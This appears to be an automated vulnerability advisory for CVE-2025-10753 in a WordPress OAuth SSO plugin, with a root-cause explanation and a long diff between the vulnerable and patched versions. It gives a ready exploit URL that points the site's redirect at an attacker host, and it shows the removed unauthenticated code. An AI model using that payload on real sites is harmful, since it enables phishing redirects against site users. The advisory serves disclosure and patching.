Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-10753: OAuth Single Sign On – SSO (OAuth Client) <= 6.26.14 – Missing Authorization (miniorange-login-with-eve-online-google-facebook)

CVE ID CVE-2025-10753
Plugin miniorange-login-with-eve-online-google-facebook
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.26.14
Patched Version 6.26.15
Disclosed February 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-10753:
This vulnerability is a missing authorization flaw in the OAuth Single Sign On – SSO (OAuth Client) WordPress plugin versions up to 6.26.14. The vulnerability allows unauthenticated attackers to modify the global redirect URL option via the plugin’s OAuth redirect functionality, affecting the site’s authentication flow.

Atomic Edge research identifies the root cause in the plugin’s main entry point file class-mooauth-widget.php. The vulnerable code processes the ‘oauthredirect’ option parameter without performing capability checks or authentication verification. Specifically, lines 256-258 in the diff show the plugin previously accepted and processed the ‘redirect_url’ parameter from unauthenticated requests via the $_REQUEST[‘redirect_url’] variable. This parameter was then stored directly using update_option(‘mo_oauth_redirect_url’, …). The code path begins when the plugin detects the ‘oauthredirect’ option in the request, then proceeds to handle the redirect_url parameter without validating user permissions.

Exploitation requires an attacker to send a crafted HTTP request to the WordPress site with specific parameters. The attack vector uses a GET request to the site’s root with the ‘option’ parameter set to ‘oauthredirect’ and the ‘redirect_url’ parameter containing the attacker-controlled URL. The payload pattern is: /?option=oauthredirect&redirect_url=https://attacker.com. No authentication or special headers are required. The attacker can directly access the site’s frontend endpoint to trigger the vulnerable code path.

Patch analysis reveals the fix completely removes the vulnerable redirect_url parameter handling. The diff shows line 258-260 in class-mooauth-widget.php were deleted, eliminating the code that processed update_option(‘mo_oauth_redirect_url’, sanitize_text_field(wp_unslash($_REQUEST[‘redirect_url’]))). After patching, the plugin no longer accepts or processes the redirect_url parameter from unauthenticated requests. The patch also modifies the redirect logic to default to home_url() instead of using the attacker-controlled value, ensuring predictable behavior.

Successful exploitation allows attackers to set the global OAuth redirect URL to an arbitrary location. This redirect manipulation can facilitate phishing attacks by redirecting legitimate users to malicious sites after authentication attempts. The vulnerability could enable account hijacking if combined with other flaws, though the CVSS 5.3 score indicates medium severity due to the requirement for user interaction and the specific impact scope limited to redirect manipulation.

Differential between vulnerable and patched code

Code Diff 
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/addons/class-mo-oauth-client-addons.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/addons/class-mo-oauth-client-addons.php
@@ -468,7 +468,6 @@
 <script type="text/javascript">
 	function upgradeform(planType) {
 				if(planType === "") {
-
 					location.href = "https://wordpress.org/plugins/miniorange-login-with-eve-online-google-facebook/";
 					return;
 				} else {
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/apps/partials/app-list.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/apps/partials/app-list.php
@@ -124,7 +124,7 @@
 					<script>
 						function mooauth_testConfiguration(){
 							var mo_oauth_app_name = jQuery("#mo_oauth_app_nameid").html();
-							var myWindow = window.open('<?php echo esc_attr( site_url() ); ?>' + '/?option=testattrmappingconfig&app='+mo_oauth_app_name, "Test Attribute Configuration", "width=600, height=600");
+							var myWindow = window.open('<?php echo esc_attr( site_url() ); ?>' + '/?option=testattrmappingconfig&app=' + encodeURIComponent(mo_oauth_app_name) + '&time=' + Date.now(), "Test Attribute Configuration", "width=600, height=600");
 							}
 					</script>
 					<?php
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/apps/partials/customization.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/apps/partials/customization.php
@@ -243,7 +243,7 @@
 				<td><input class="mo_oauth_textfield_css mo_oauth_input_disabled" style="border: 1px solid ; width: 350px;" type="text" placeholder="SSO with : "/></td>

 	</tr>
-</table>
+</table>
 <hr>
 <table class="mo_oauth_custom_settings_table" id="mo_custom_icon_table">
 <tr>
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/apps/partials/updateapp.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/apps/partials/updateapp.php
@@ -337,7 +337,7 @@

 		function mooauth_testConfiguration(){
 			var mo_oauth_app_name = jQuery("#mo_oauth_app_nameid").val();
-			var myWindow = window.open('<?php echo esc_attr( site_url() ); ?>' + '/?option=testattrmappingconfig&app='+mo_oauth_app_name, "Test Attribute Configuration", "width=600, height=600");
+			var myWindow = window.open('<?php echo esc_attr( site_url() ); ?>' + '/?option=testattrmappingconfig&app=' + mo_oauth_app_name + '&time=' + Date.now(), "Test Attribute Configuration", "width=600, height=600");
 			/*try {
 				while(1) {
 					if(myWindow.closed()) {
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/class-mo-oauth-client-admin-menu.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/class-mo-oauth-client-admin-menu.php
@@ -134,6 +134,14 @@
 		$mo_log_enable = get_option( 'mo_debug_enable' );

 		$mo_oauth_debug = get_option( 'mo_oauth_debug' );
+
+		$log_dir = dirname( $log_file_path );
+
+		$index_path = trailingslashit( $log_dir ) . 'index.php';
+		if ( ! function_exists( 'request_filesystem_credentials' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/file.php';
+		}
+		$credentials = request_filesystem_credentials( site_url() );
 		if ( 'on' === $mo_log_enable && ( ! $mo_oauth_debug || ! file_exists( $log_file_path ) ) ) {
 			if ( ! $mo_oauth_debug ) {
 				update_option( 'mo_oauth_debug', 'mo_oauth_debug' . uniqid() );
@@ -141,14 +149,9 @@
 				$log_file_path  = MOOAuth_Debug::get_log_file_path();
 			}
 			if ( ! file_exists( $log_file_path ) ) {
-				if ( ! function_exists( 'request_filesystem_credentials' ) ) {
-					require_once ABSPATH . 'wp-admin/includes/file.php';
-				}
-				$credentials = request_filesystem_credentials( site_url() );
 				if ( WP_Filesystem( $credentials ) ) {
 					global $wp_filesystem;
 					$log_content = 'This is the miniOrange OAuth plugin Debug Log file';
-					$log_dir     = dirname( $log_file_path );
 					if ( ! $wp_filesystem->is_dir( $log_dir ) ) {
 						$wp_filesystem->mkdir( $log_dir, FS_CHMOD_DIR );
 					}
@@ -158,6 +161,16 @@
 				}
 			}
 		}
+		if ( 'on' === get_option( 'mo_debug_enable' ) && ! file_exists( $index_path ) ) {
+			if ( WP_Filesystem( $credentials ) ) {
+				global $wp_filesystem;
+				$wp_filesystem->put_contents(
+					$index_path,
+					"<?phpn// Silence is golden.n",
+					0600
+				);
+			}
+		}

 		if ( 'licensing' !== $currenttab ) { ?>
 		<div class="mo_oauth_plugin_body">
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/faq/class-mo-oauth-client-faq.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/faq/class-mo-oauth-client-faq.php
@@ -11,7 +11,7 @@
 /**
  * Class for handling FAQ
  */
-class MO_OAuth_Client_Faq {
+class MOOAuth_Login_Client_Faq {

 	/**
 	 * Call internal FAQ function to display FAQ page
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/mo_plugins/autoload.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/mo_plugins/autoload.php
@@ -11,7 +11,7 @@
 }

 // Check if the autoloader is already registered to prevent duplicates.
-if ( ! function_exists( 'mo_plugins_adv_classes_autoloader' ) ) {
+if ( ! function_exists( 'mooauth_plugins_adv_classes_autoloader' ) ) {

 	/**
 	 * Autoload the files required for the advertisement framework.
@@ -20,8 +20,8 @@
 	 *
 	 * @return void
 	 */
-	function mo_plugins_adv_classes_autoloader( $class ) {
-		$namespace = 'MO_Plugins';
+	function mooauth_plugins_adv_classes_autoloader( $class ) {
+		$namespace = 'MOOAuth_Plugins';

 		// Ensure the class belongs to the specified namespace.
 		if ( strpos( $class, $namespace ) !== 0 ) {
@@ -52,5 +52,5 @@
 	}

 	// Register the autoloader function.
-	spl_autoload_register( 'mo_plugins_adv_classes_autoloader' );
+	spl_autoload_register( 'mooauth_plugins_adv_classes_autoloader' );
 }
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/mo_plugins/src/class-mo-rest-api-advertisement.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/mo_plugins/src/class-mo-rest-api-advertisement.php
@@ -8,7 +8,7 @@
  * @link       https://miniorange.com
  */

-namespace MO_Plugins;
+namespace MOOAuth_Plugins;

 use MOOAuth_Debug;

--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/setup_wizard/handler/class-mo-oauth-wizard-ajax.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/setup_wizard/handler/class-mo-oauth-wizard-ajax.php
@@ -112,11 +112,11 @@
 			$provider_se                   = null;
 			if ( '4' === $app['mo_oauth_step'] ) {
 				if ( ( filter_var( $discovery_endpoint, FILTER_VALIDATE_URL ) ) ) {
-					$content = wp_remote_get( $discovery_endpoint, array( 'sslverify' => false ) );
+					$content = wp_remote_get( $discovery_endpoint, array( 'sslverify' => MO_OAuth_Utils::get_ssl_verify_setting( $discovery_endpoint ) ) );
 					if ( ! empty( $tag ) && ( 'realm' === $tag && wp_remote_retrieve_response_code( $content ) !== 200 ) ) {
 						// Keycloak v18 check.
 						$discovery_endpoint = str_replace( '/auth', '', $discovery_endpoint );
-						$content            = wp_remote_get( $discovery_endpoint, array( 'sslverify' => false ) );
+						$content            = wp_remote_get( $discovery_endpoint, array( 'sslverify' => MO_OAuth_Utils::get_ssl_verify_setting( $discovery_endpoint ) ) );
 					}
 					$provider_se = array();
 					$scope       = array();
@@ -247,11 +247,11 @@
 			$provider_se = null;

 			if ( ( filter_var( $discovery_endpoint, FILTER_VALIDATE_URL ) ) ) {
-				$content = wp_remote_get( $discovery_endpoint, array( 'sslverify' => false ) );
+				$content = wp_remote_get( $discovery_endpoint, array( 'sslverify' => MO_OAuth_Utils::get_ssl_verify_setting( $discovery_endpoint ) ) );
 				if ( ! empty( $tag ) && ( 'realm' === $tag && wp_remote_retrieve_response_code( $content ) !== 200 ) ) {
 					// Keycloak v18 check.
 					$discovery_endpoint = str_replace( '/auth', '', $discovery_endpoint );
-					$content            = wp_remote_get( $discovery_endpoint, array( 'sslverify' => false ) );
+					$content            = wp_remote_get( $discovery_endpoint, array( 'sslverify' => MO_OAuth_Utils::get_ssl_verify_setting( $discovery_endpoint ) ) );
 				}
 				$provider_se = array();
 				if ( ! is_wp_error( $content ) && wp_remote_retrieve_response_code( $content ) === 200 ) {
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/setup_wizard/partials/support.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/setup_wizard/partials/support.php
@@ -9,9 +9,15 @@
  */

 /**
- * Support form
+ * Display the support form for the setup wizard.
+ *
+ * Renders a support contact form that allows users to submit queries
+ * to miniOrange support team via AJAX. The form includes email input
+ * and query textarea fields, along with JavaScript handlers for form submission.
+ *
+ * @return void Outputs HTML and JavaScript for the support form.
  */
-function mo_oauth_client_setup_support() {
+function mo_oauth_client_setup_support() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
 	echo '<div class="support-icon" style="display: block;">
 			<div class="help-container" id="help-container" style="display: block;">
 			  	<span class="span1">
--- a/miniorange-login-with-eve-online-google-facebook/admin/partials/support/class-mo-oauth-client-support.php
+++ b/miniorange-login-with-eve-online-google-facebook/admin/partials/support/class-mo-oauth-client-support.php
@@ -17,12 +17,28 @@
 	 * Call internal functions
 	 */
 	public static function support() {
+		self::mo_bfcm_sale_poster();
 		self::mo_usecase_page();
 		self::support_page();
 		self::mo_download_log();
 	}

 	/**
+	 * Display BFCM Poster
+	 */
+	public static function mo_bfcm_sale_poster() {
+		?>
+		<div id="mo_support_layout" class="mo_oauth_bfcm_ad">
+		<div class="mo_oauth_usecase_discription_container">
+			<a href="https://plugins.miniorange.com/year-end-sale-oauth" target="_blank" rel="noopener">
+				<img src="<?php echo esc_url( plugins_url( '/images/plugin-bfcm-ad.png', dirname( dirname( dirname( __FILE__ ) ) ) ) ); ?>" alt="<?php esc_attr_e( 'Black Friday OAuth Deal', 'miniorange-login-with-eve-online-google-facebook' ); ?>" style="display:block;width:100%;height:auto;">
+			</a>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
 	 * Display Use cases UI
 	 */
 	public static function mo_usecase_page() {
@@ -38,7 +54,8 @@
 				$config_app_usecase_present = true;
 			}
 		}
-		if ( $config_app_usecase_present ) {?>
+		if ( $config_app_usecase_present ) {
+			?>
 		<div id="mo_support_layout" class="mo_support_layout mo_oauth_outer_div">
 		<div class="mo_oauth_usecase_discription_container">
 				<div class="mo_oauth_usecase_discription_main_card" style="padding:5px 10px;">
--- a/miniorange-login-with-eve-online-google-facebook/class-mo-oauth-client-customer.php
+++ b/miniorange-login-with-eve-online-google-facebook/class-mo-oauth-client-customer.php
@@ -239,8 +239,7 @@
 		$subject                = 'Call Request: WordPress ' . MO_OAUTH_PLUGIN_NAME . ' ' . $plugin_version;
 		$site_url               = site_url();

-		global $user;
-		$user = wp_get_current_user();
+		$current_user = wp_get_current_user();

 		if ( $send_config ) {
 			$mo_oauth       = new MOOAuth();
@@ -250,9 +249,9 @@
 		}

 		if ( $issue_description ) {
-			$content = ! empty( $_SERVER['SERVER_NAME'] ) ? '<div>Hello,<br><br>First Name : ' . $user->user_firstname . '<br><br>Last Name : ' . $user->user_lastname . '<br><br>Company : <a href="' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '" target="_blank" >' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '</a><br><br>Email : <a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br>Preferred time (' . $call_time_zone . ') : ' . $call_time . ', ' . $call_date . '<br><br>IST time : ' . $ist_time . ', ' . $ist_date . '<br><br>Issue : ' . $issue . ' <b>:</b> ' . $issue_description . '<br><br>Description : ' . $desc . '</div>' : '';
+			$content = ! empty( $_SERVER['SERVER_NAME'] ) ? '<div>Hello,<br><br>First Name : ' . $current_user->user_firstname . '<br><br>Last Name : ' . $current_user->user_lastname . '<br><br>Company : <a href="' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '" target="_blank" >' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '</a><br><br>Email : <a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br>Preferred time (' . $call_time_zone . ') : ' . $call_time . ', ' . $call_date . '<br><br>IST time : ' . $ist_time . ', ' . $ist_date . '<br><br>Issue : ' . $issue . ' <b>:</b> ' . $issue_description . '<br><br>Description : ' . $desc . '</div>' : '';
 		} else {
-			$content = ! empty( $_SERVER['SERVER_NAME'] ) ? '<div>Hello,<br><br>First Name : ' . $user->user_firstname . '<br><br>Last Name : ' . $user->user_lastname . '<br><br>Company : <a href="' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '" target="_blank" >' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '</a><br><br>Email : <a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br>Preferred time (' . $call_time_zone . ') : ' . $call_time . ', ' . $call_date . '<br><br>IST time : ' . $ist_time . ', ' . $ist_date . '<br><br>Issue : ' . $issue . '<br><br>Description : ' . $desc . '</div>' : '';
+			$content = ! empty( $_SERVER['SERVER_NAME'] ) ? '<div>Hello,<br><br>First Name : ' . $current_user->user_firstname . '<br><br>Last Name : ' . $current_user->user_lastname . '<br><br>Company : <a href="' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '" target="_blank" >' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '</a><br><br>Email : <a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br>Preferred time (' . $call_time_zone . ') : ' . $call_time . ', ' . $call_date . '<br><br>IST time : ' . $ist_time . ', ' . $ist_date . '<br><br>Issue : ' . $issue . '<br><br>Description : ' . $desc . '</div>' : '';
 		}
 		$fields                   = array(
 			'customerKey' => $customer_key,
@@ -399,11 +398,10 @@
 		$subject                = $subject . ' ' . $plugin_version;
 		$site_url               = site_url();

-		global $user;
-		$user  = wp_get_current_user();
-		$query = '[WP ' . MO_OAUTH_PLUGIN_NAME . ' ' . $plugin_version . '] : ' . sanitize_text_field( $message );
+		$current_user = wp_get_current_user();
+		$query        = '[WP ' . MO_OAUTH_PLUGIN_NAME . ' ' . $plugin_version . '] : ' . sanitize_text_field( $message );

-		$content = ! empty( $_SERVER['SERVER_NAME'] ) ? '<div >Hello, <br><br>First Name :' . $user->user_firstname . '<br><br>Last  Name :' . $user->user_lastname . '   <br><br>Company :<a href="' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '" target="_blank" >' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '</a><br><br>Email :<a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br>Query :' . $query : '';
+		$content = ! empty( $_SERVER['SERVER_NAME'] ) ? '<div >Hello, <br><br>First Name :' . $current_user->user_firstname . '<br><br>Last  Name :' . $current_user->user_lastname . '   <br><br>Company :<a href="' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '" target="_blank" >' . esc_attr( sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) ) . '</a><br><br>Email :<a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br>Query :' . $query : '';
 		if ( false === $skip ) {
 			$content .= '<br><br>' . $reply;
 			$content .= '</div>';
@@ -478,9 +476,8 @@
 		$from_email             = $email;
 		$site_url               = site_url();

-		global $user;
-		$user    = wp_get_current_user();
-		$content = '<div >Hello, </a><br><br>Email :<a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br>Requested Demo for     : ' . $demo_plan . '<br><br>Add-ons     : ' . $addons_selected . '<br><br>Requirements (User usecase)           : ' . $message . '</div>';
+		$current_user = wp_get_current_user();
+		$content      = '<div >Hello, </a><br><br>Email :<a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br>Requested Demo for     : ' . $demo_plan . '<br><br>Add-ons     : ' . $addons_selected . '<br><br>Requirements (User usecase)           : ' . $message . '</div>';

 		$fields                   = array(
 			'customerKey' => $customer_key,
@@ -552,9 +549,8 @@
 		$from_email             = $email;
 		$site_url               = site_url();

-		global $user;
-		$user    = wp_get_current_user();
-		$content = '<div >Hello, </a><br><br>Email :<a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br> Customer local time (' . $call_time_zone . ') : ' . $call_time . ' on ' . $call_date . '<br><br>IST format    : ' . $ist_time . ' on ' . $ist_date . '<br><br>Requirements (User usecase)           : ' . $query . '</div>';
+		$current_user = wp_get_current_user();
+		$content      = '<div >Hello, </a><br><br>Email :<a href="mailto:' . $from_email . '" target="_blank">' . $from_email . '</a><br><br> Customer local time (' . $call_time_zone . ') : ' . $call_time . ' on ' . $call_date . '<br><br>IST format    : ' . $ist_time . ' on ' . $ist_date . '<br><br>Requirements (User usecase)           : ' . $query . '</div>';

 		$fields                   = array(
 			'customerKey' => $customer_key,
--- a/miniorange-login-with-eve-online-google-facebook/class-mo-oauth-custom-oauth1-flow.php
+++ b/miniorange-login-with-eve-online-google-facebook/class-mo-oauth-custom-oauth1-flow.php
@@ -11,7 +11,7 @@
 /**
  * Handle OAuth1.0 SSO flow.
  */
-class MO_OAuth_Custom_OAuth1_Flow {
+class MOOAuth_Custom_OAuth1_Flow {

 	/**
 	 * Private key of the configured application.
@@ -279,7 +279,7 @@
 	 */
 	public function mo_oauth1_url_encode_rfc3986( $input ) {
 		if ( is_array( $input ) ) {
-			return array_map( array( 'MO_OAuth_Custom_OAuth1_Flow', 'mo_oauth1_url_encode_rfc3986' ), $input );
+			return array_map( array( 'MOOAuth_Custom_OAuth1_Flow', 'mo_oauth1_url_encode_rfc3986' ), $input );
 		} elseif ( is_scalar( $input ) ) {
 			return str_replace( '+', ' ', str_replace( '%7E', '~', rawurlencode( $input ) ) );
 		} else {
--- a/miniorange-login-with-eve-online-google-facebook/class-mo-oauth-custom-oauth1.php
+++ b/miniorange-login-with-eve-online-google-facebook/class-mo-oauth-custom-oauth1.php
@@ -17,7 +17,7 @@
 /**
  * Handle Authorization and Token request for OAuth1.0 protocol.
  */
-class MO_OAuth_Custom_OAuth1 {
+class MOOAuth_Custom_OAuth1 {

 	/**
 	 * Handle OAuth1.0 request
@@ -34,7 +34,7 @@
 		$access_token_url  = $appslist[ $appname ]['accesstokenurl'];
 		$userinfo_url      = $appslist[ $appname ]['resourceownerdetailsurl'];

-		$oauth1_getrequest_object = new MO_OAuth_Custom_OAuth1_Flow( $client_id, $client_secret, $request_token_url, $access_token_url, $userinfo_url );
+		$oauth1_getrequest_object = new MOOAuth_Custom_OAuth1_Flow( $client_id, $client_secret, $request_token_url, $access_token_url, $userinfo_url );
 		$request_token            = $oauth1_getrequest_object->mo_oauth1_get_request_token();
 		if ( strpos( $authorize_url, '?' ) === false ) {
 			$authorize_url .= '?';
@@ -75,7 +75,7 @@
 		$access_token_url  = $appslist[ $appname ]['accesstokenurl'];
 		$userinfo_url      = $appslist[ $appname ]['resourceownerdetailsurl'];

-		$mo_oauth1_getaccesstoken_object = new MO_OAuth_Custom_OAuth1_Flow( $client_id, $client_secret, $request_token_url, $access_token_url, $userinfo_url );
+		$mo_oauth1_getaccesstoken_object = new MOOAuth_Custom_OAuth1_Flow( $client_id, $client_secret, $request_token_url, $access_token_url, $userinfo_url );
 		$oauth_token                     = $mo_oauth1_getaccesstoken_object->mo_oauth1_get_access_token( $oauth_verifier[1], $mo_oauth1_oauth_token[1] );

 		$response_parse = explode( '&', $oauth_token );
@@ -92,7 +92,7 @@
 			}
 		}

-		$mo_oauth1_get_profile_signature_object = new MO_OAuth_Custom_OAuth1_Flow( $client_id, $client_secret, $request_token_url, $access_token_url, $userinfo_url );
+		$mo_oauth1_get_profile_signature_object = new MOOAuth_Custom_OAuth1_Flow( $client_id, $client_secret, $request_token_url, $access_token_url, $userinfo_url );
 		$oauth_access_token1                    = isset( $oauth_access_token[1] ) ? $oauth_access_token[1] : '';
 		$oauth_token_secret1                    = isset( $oauth_token_secret[1] ) ? $oauth_token_secret[1] : '';
 		$screen_name1                           = isset( $screen_name[1] ) ? $screen_name[1] : '';
--- a/miniorange-login-with-eve-online-google-facebook/class-mo-oauth-utils.php
+++ b/miniorange-login-with-eve-online-google-facebook/class-mo-oauth-utils.php
@@ -0,0 +1,108 @@
+<?php
+/**
+ * OAuth Utilities
+ *
+ * @package    oauth-utils
+ * @author     miniOrange <info@miniorange.com>
+ * @license    Expat
+ * @link       https://miniorange.com
+ */
+
+/**
+ * Utility class for OAuth operations including SSL certificate validation
+ */
+class MO_OAuth_Utils {
+
+	/**
+	 * Check if SSL certificate is valid for a domain
+	 *
+	 * @param string $domain The domain to validate SSL for.
+	 * @return bool True if SSL is valid, false otherwise.
+	 */
+	public static function check_ssl_validity( $domain ) {
+		$domain       = preg_replace( '#^https?://#', '', $domain );
+		$domain       = explode( '/', $domain )[0];
+		$domain_parts = explode( ':', $domain );
+		$host         = $domain_parts[0];
+		$port         = isset( $domain_parts[1] ) ? $domain_parts[1] : '443';
+
+		if ( 'localhost' === $host || '127.0.0.1' === $host || '::1' === $host ) {
+			if ( class_exists( 'MOOAuth_Debug' ) ) {
+				MOOAuth_Debug::mo_oauth_log( 'SSL Certificate Check: SKIPPED for localhost domain: ' . $host . ' - SSL verification disabled' );
+			}
+			return false;
+		}
+
+		$context_options = array(
+			'ssl' => array(
+				'capture_peer_cert' => true,
+				'verify_peer'       => true,
+				'verify_peer_name'  => true,
+				'allow_self_signed' => false,
+			),
+		);
+
+		$context = stream_context_create( $context_options );
+		$client  = @stream_socket_client(
+			"ssl://{$host}:{$port}",
+			$errno,
+			$errstr,
+			10,
+			STREAM_CLIENT_CONNECT,
+			$context
+		);
+
+		if ( false === $client ) {
+			return false;
+		}
+
+		$params = stream_context_get_params( $client );
+
+		if ( ! isset( $params['options']['ssl']['peer_certificate'] ) ) {
+			fclose( $client ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose
+			return false;
+		}
+
+		$cert       = openssl_x509_parse( $params['options']['ssl']['peer_certificate'] );
+		$valid_to   = $cert['validTo_time_t'];
+		$valid_from = $cert['validFrom_time_t'];
+		$is_valid   = time() >= $valid_from && time() < $valid_to;
+
+		fclose( $client ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose
+
+		if ( class_exists( 'MOOAuth_Debug' ) ) {
+			$status = $is_valid ? 'VALID' : 'INVALID';
+			$expiry = gmdate( 'Y-m-d H:i:s', $valid_to );
+			MOOAuth_Debug::mo_oauth_log( 'SSL Certificate Check: ' . $status . ' for WordPress domain: ' . $domain . ' (Expires: ' . $expiry . ')' );
+		}
+
+		return $is_valid;
+	}
+
+	/**
+	 * Get SSL verification setting for wp_remote requests
+	 *
+	 * @param string $url The URL to check SSL for.
+	 * @return bool Whether SSL verification should be enabled.
+	 */
+	public static function get_ssl_verify_setting( $url ) {
+		$site_url        = site_url();
+		$parsed_site_url = wp_parse_url( $site_url );
+
+		if ( ! $parsed_site_url || ! isset( $parsed_site_url['host'] ) ) {
+			if ( class_exists( 'MOOAuth_Debug' ) ) {
+				MOOAuth_Debug::mo_oauth_log( 'SSL Verify Setting: TRUE (default) - Unable to parse WordPress site URL: ' . $site_url );
+			}
+			return true;
+		}
+
+		$ssl_valid = self::check_ssl_validity( $parsed_site_url['host'] );
+
+		if ( class_exists( 'MOOAuth_Debug' ) ) {
+			$setting = $ssl_valid ? 'TRUE' : 'FALSE';
+			MOOAuth_Debug::mo_oauth_log( 'SSL Verify Setting: ' . $setting . ' for WordPress domain: ' . $parsed_site_url['host'] . ' (Request URL: ' . $url . ')' );
+		}
+
+		return $ssl_valid;
+	}
+}
--- a/miniorange-login-with-eve-online-google-facebook/class-mooauth-widget.php
+++ b/miniorange-login-with-eve-online-google-facebook/class-mooauth-widget.php
@@ -100,7 +100,7 @@
 	 */
 	public function mo_oauth_start_session() {
 		if ( ! session_id() && ! mooauth_client_is_ajax_request() && ! mooauth_client_is_rest_api_call() ) {
-			session_start();
+			@session_start();
 		}

 		if ( isset( $_REQUEST['option'] ) && sanitize_text_field( wp_unslash( $_REQUEST['option'] ) ) === 'testattrmappingconfig' ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
@@ -116,9 +116,9 @@
 	 */
 	public function mo_oauth_end_session() {
 		if ( ! session_id() ) {
-			session_start();
+			@session_start();
 		}
-		session_destroy();
+		@session_destroy();
 	}

 	/**
@@ -218,7 +218,7 @@
 		}

 		function moOAuthLoginNew(app_name) {
-			window.location.href = '<?php echo esc_attr( site_url() ); ?>' + '/?option=oauthredirect&app_name=' + app_name;
+			window.location.href = '<?php echo esc_attr( site_url() ); ?>' + '/?option=oauthredirect&app_name=' + encodeURIComponent(app_name) + '&time=' + Date.now();
 		}
 	</script>
 		<?php
@@ -256,9 +256,6 @@
 	if ( isset( $_REQUEST['option'] ) && strpos( sanitize_text_field( wp_unslash( $_REQUEST['option'] ) ), 'oauthredirect' ) !== false ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
 		$appname  = ! empty( $_REQUEST['app_name'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['app_name'] ) ) : ''; //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
 		$appslist = get_option( 'mo_oauth_apps_list' );
-		if ( isset( $_REQUEST['redirect_url'] ) ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
-			update_option( 'mo_oauth_redirect_url', sanitize_text_field( wp_unslash( $_REQUEST['redirect_url'] ) ) ); //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
-		}

 		if ( isset( $_REQUEST['test'] ) ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
 			setcookie( 'mo_oauth_test', true, time() + 3600, '/', '', true, true );
@@ -278,7 +275,7 @@
 				if ( 'twitter' === $app['appId'] || 'oauth1' === $app['appId'] ) {
 					include 'class-mo-oauth-custom-oauth1.php';
 					setcookie( 'tappname', $appname, time() + 3600, '/', '', true, true );
-					$setcookie = ! empty( $_COOKIE['tappname'] ) ? MO_OAuth_Custom_OAuth1::mo_oauth1_auth_request( sanitize_text_field( wp_unslash( $_COOKIE['tappname'] ) ) ) : '';
+					$setcookie = ! empty( $_COOKIE['tappname'] ) ? MOOAuth_Custom_OAuth1::mo_oauth1_auth_request( sanitize_text_field( wp_unslash( $_COOKIE['tappname'] ) ) ) : '';
 					exit();
 				}

@@ -350,7 +347,7 @@
 				}

 				if ( session_id() === '' || ! isset( $_SESSION ) ) {
-					session_start();
+					@session_start();
 				}
 				$_SESSION['oauth2state'] = $state_cookie;
 				$_SESSION['appname']     = $appname;
@@ -379,7 +376,7 @@
 					)
 				);
 				if ( session_id() === '' || ! isset( $_SESSION ) ) {
-					session_start();
+					@session_start();
 				}
 				$_SESSION['oauth2state'] = $state_cookie;
 				$_SESSION['appname']     = $appname;
@@ -417,7 +414,7 @@
 			}
 		}

